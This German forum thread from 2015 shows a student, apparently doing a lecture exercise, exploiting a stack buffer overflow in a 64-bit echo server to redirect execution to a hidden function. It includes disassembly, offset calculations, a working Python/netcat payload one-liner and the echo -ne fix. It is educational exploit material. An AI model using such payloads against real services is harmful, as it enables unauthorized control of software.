Buffer Overflow -> Rücksprungadresse überschreiben

10/21/2015 09:58 Belur#1
Hey, ich möchte gerne einen Buffer Overflow ausnutzen um die Rücksprungadresse zu überschreiben.
Es gibt ein Programm, mit einer Funktion A die in der main aufgerufen wird und einer anderen geheimen Funktion B.
Nun möchte ich gerne die Rücksprungadresse von Funktion A mit der Adresse von Funktion B überschreiben.

Sämtliche Schutzmechanismen des Betriebssystems und vom gcc sind ausgeschaltet bzw ohne kompiliert worden.
Der disassemblierte Code der Funtkion A sieht so aus:
Code:
   0x0000000000400af3 <+0>:    push   rbp
   0x0000000000400af4 <+1>:    mov    rbp,rsp
   0x0000000000400af7 <+4>:    sub    rsp,0x150
   0x0000000000400afe <+11>:    lea    rax,[rbp-0x150]
   0x0000000000400b05 <+18>:    mov    esi,0xf4
   0x0000000000400b0a <+23>:    mov    rdi,rax
   0x0000000000400b0d <+26>:    call   0x400850 <bzero@plt>
   0x0000000000400b12 <+31>:    mov    eax,DWORD PTR [rip+0x2015d8]        # 0x6020f0 <newsockfd>
   0x0000000000400b18 <+37>:    lea    rcx,[rbp-0x150]
   0x0000000000400b1f <+44>:    mov    edx,0x200
   0x0000000000400b24 <+49>:    mov    rsi,rcx
   0x0000000000400b27 <+52>:    mov    edi,eax
   0x0000000000400b29 <+54>:    call   0x4007f0 <read@plt>
   0x0000000000400b2e <+59>:    mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400b31 <+62>:    cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000400b35 <+66>:    jns    0x400b41 <main_loop+78>
   0x0000000000400b37 <+68>:    mov    edi,0x400db7
   0x0000000000400b3c <+73>:    call   0x40097d <error>
   0x0000000000400b41 <+78>:    mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400b44 <+81>:    movsxd rdx,eax
   0x0000000000400b47 <+84>:    mov    eax,DWORD PTR [rip+0x2015a3]        # 0x6---020f0 <newsockfd>
   0x0000000000400b4d <+90>:    lea    rcx,[rbp-0x150]
   0x0000000000400b54 <+97>:    mov    rsi,rcx
   0x0000000000400b57 <+100>:    mov    edi,eax
   0x0000000000400b59 <+102>:    call   0x4007a0 <write@plt>
   0x0000000000400b5e <+107>:    mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400b61 <+110>:    cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000400b65 <+114>:    jns    0x400b71 <main_loop+126>
   0x0000000000400b67 <+116>:    mov    edi,0x400dd1
   0x0000000000400b6c <+121>:    call   0x40097d <error>
   0x0000000000400b71 <+126>:    lea    rax,[rbp-0x150]
   0x0000000000400b78 <+133>:    mov    rsi,rax
   0x0000000000400b7b <+136>:    mov    edi,0x400de9
   0x0000000000400b80 <+141>:    mov    eax,0x0
   0x0000000000400b85 <+146>:    call   0x4007d0 <printf@plt>
   0x0000000000400b8a <+151>:    leave
   0x0000000000400b8b <+152>:    ret
Der Stack-pointer wird also um 0x150 dekrementiert. Also werden praktisch 336Bytes für meine lokalen Variablen freigegeben. Das sollten 332Byte für einen Buffer und 4Byte für den Rückgabewert sein.

Meinem Verständnis nach sollten hinter diesen 336Byte die Rücksprungadresse kommen.

Nun weiß ich, dass die Adresse der Funktion B folgende ist:
0x00000000004009b0
Diese muss ich ja dann umwandeln in:
\xb0\x09\x40\x00\x00\x00\x00\x00

Wenn ich das Programm nun starte (es ist ein Echo Server) und mit meinem Echo Client eine Eingabe schicke (336*A + \xb0\x09\x40\x00\x00\x00\x00\x00) sollte er doch eigentlich die Rücksprungadresse überschreiben.
Allerdings kriege ich dann nur einen Segmentation Fault.

Also habe ich durch ausprobieren geguckt wann der erste Segfault kommt. Das passiert bei 344 Zeichen. Also 343 Zeichen nimmt er noch normal an. Habe also 343*A+\xb0\x09\x40\x00\x00\x00\x00\x00 als Eingabe genommen und es kommt wieder ein Segmentation Fault :/

Ist die Adresse vllt falsch umgeformt? Beim Professor, der es in der Vorlesung genau so gemacht hat klappte alles.

Hoffe mir kann da jemand helfen.
Grüße
10/21/2015 11:17 snow#2
Code:
(python -c "import struct; print 'A' * 0x150 + 'A' * 8 + struct.pack('<Q', 0x00000000004009b0)"; cat) | nc server port
Sollte eigentlich funktionieren.

Du hast den base pointer nicht beachtet, so wurde die return Adresse nicht überschrieben aber der base pointer war nicht mehr korrekt, was im weiteren Programmverlauf vermutlich zum Crash geführt hat.
Außerdem solltest du beachten, dass das Programm für 64bit kompiliert wurde, Adressen sind also 8 Byte groß. Der Payload ist somit insgesamt 0x150 (wie von dir bereits beschrieben) + 0x8 (rbp auf dem Stack gesichert, siehe erste Instruction) + 0x8 (return address, die du überschreiben willst) Byte groß.
10/21/2015 11:37 Belur#3
Danke schonmal. Der Befehl geht bei mir leider nicht durch. Python hat damit wohl irgendein Problem:
"EOL while scanning string literal".

Wenn ich das richtig verstehe, sollte die Eingabe aber aus 0x150+8 (also 344) 'A's bestehen und dann die umgeformte Adresse. Ohne Python genau zu kennen vermute ich mal, dass struct.pack die Adresse ins richtige Format umformt.

Die Eingabe wäre also:
Quote:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0\x 09\x40\x00\x00\x00\x00\x00
Das resultiert leider wieder in einem Segmentation Fault.
Hab gedacht ich hätte mich vllt. mit der Adresse vertan, allerdings hab ich das nochmal überprüft und die stimmt definitiv.
10/21/2015 13:11 warfley#4
Quote:
Originally Posted by Belur View Post
Danke schonmal. Der Befehl geht bei mir leider nicht durch. Python hat damit wohl irgendein Problem:
"EOL while scanning string literal".
Das könnte mit dem fehlenden ' im Python string zusammenhängen
10/21/2015 18:57 snow#5
Warum auch immer funktioniert hier irgendwas nicht korrekt, deshalb nochmal auf pastebin: [Only registered and activated users can see links. Click Here To Register...]

Quote:
\xb0\x 09\x40\x00\x00\x00\x00\x00
Da hast du ein Leerzeichen drinnen. Ist mir auch dauernd passiert, weshalb ich nur noch struct.pack nutze :D
10/21/2015 19:59 Belur#6
Das Leerzeichen wird komischerweise nur im Forum angezeigt. Ist mir grade auch aufgefallen. Wollte den Beitrag dann editieren, aber da existiert das Leerzeichen nicht. Irgendein Anzeigefehler.

Der Python Code funktioniert. Danke dafür! In der Theorie sollte aber der String aus meinem 2. Beitrag (ohne das Leerzeichen) genau das gleiche sein oder nicht? In der Vorlesung und fast allen Tutorials konnte man die Adresse einfach hinten dranhängen wie in meinem 2. Beitrag. Komisch dass es jetzt nur mit dem struct.pack geht.
10/21/2015 20:41 snow#7
Wie machst du denn das Input? Hast du mal versucht, das Output in eine Datei zu schreiben statt an netcat zu pipen und dann zu schauen, ob die Binärdaten korrekt sind?
10/23/2015 15:30 Belur#8
Okay ich habe jetzt nochmal im gdb geguckt. Also die 344 "A"s passen genau. Danach kommt der rip.

Wenn ich allerdings meine Adresse (\xb0\x09\x40\x00\x00\x00\x00\x00) reinschreiben will, wird in den Speicher eine komplett andere Adresse geschrieben, nämlich:0x3030782f 0x3034782f.

Egal welche Adresse ich anhänge, im Speicher steht am Ende immer diese 0x30... Adresse.

Diese Schreibweise mit dem \x scheint er nicht zu mögen. Wenn ich "B"s oder irgendwas andere anhänge werden die korrekten Werte in den Speicher geschrieben (0x42...).

#Es geht yey. Lag daran, dass ich den String immer mit echo ausgegeben habe und dann in den Server gepiped habe. Und damit es richtig klappt muss man "echo -ne" benutzen.